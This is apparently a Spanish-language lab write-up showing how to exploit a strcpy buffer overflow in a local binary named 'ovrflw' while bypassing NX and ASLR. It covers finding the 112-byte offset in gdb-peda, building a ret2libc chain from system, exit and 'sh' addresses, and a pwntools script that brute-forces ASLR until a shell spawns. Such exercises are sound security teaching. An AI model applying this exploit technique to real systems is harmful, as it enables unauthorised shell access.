Buffer Overflow Byp Nx Aslr
Buffer-OverFlow Bypass de NX y ASLR
con ghidra leemos el codigo fuente del binario:
Vemos que tiene declarado un buffer de 112 y utiliza una funcion strcpy que se considera insegura.
Si lo ponemos en practica, lo podemos ver utilizando:
Explica paso por paso la metodología que has seguido con el debugger para reproducir la vulnerabilidad existente en el binario ovrflw. Recuerda que este punto debe de tener ASLR activo en el entorno de Linux.
Ejecutamos el binario con gdb-peda:
Vemos que tiene proteccion NX (No Execution)
Creamos un pattern de 115 y se lo enviamos al binario
Hemos sobreescrito el EIP, tenemos que sacar el valor del offset
Vemos que es de 112.
Comprobamos que el ASLR esta activo de la siguiente forma.
Ejecutamos p system dos veces para ver que va cambiando.
Sacamos la direccion de system, exit y de sh.
#direcciones
#p.system = 0xf7dddcc0 -> \xc0\xdc\xdd\xf7
#p.exit = 0xf7dd0640 -> \x40\x06\xdd\xf7
#sh = 0xf7f28b62 -> \x62\x8b\xf2\xf7
#rop = p.system+p.exit+sh
#rop = "\xc0\xdc\xdd\xf7\x40\x06\xdd\xf7\x62\x8b\xf2\xf7"
Creamos un one-liner que nos ejecute en un bucle infinito una cadena para ocasionar un choque, y consiga ocasionar una llamada exitosa y nos otorgue una sh
Podemos crear un exploit para automatizarlo:
#!/usr/bin/python3
from pwn import *
from struct import pack
from subprocess import call
#direcciones
#p.system = 0xf7dddcc0 -> \xc0\xdc\xdd\xf7
#p.exit = 0xf7dd0640 -> \x40\x06\xdd\xf7
#sh = 0xf7f28b62 -> \x62\x8b\xf2\xf7
#rop = p.system+p.exit+sh
#rop = "\xc0\xdc\xdd\xf7\x40\x06\xdd\xf7\x62\x8b\xf2\xf7"
rop = pack("<I", 0xf7dddcc0)
rop += pack("<I", 0xf7dd0640)
rop += pack("<I", 0xf7f28b62)
buffer = b"A"*112
buffer += rop
def main():
while os.system("echo $0") != "/bin/sh":
response = call(["./ovrflw", buffer])
else:
sys.exit(1)
main()
Lo ejecutamos: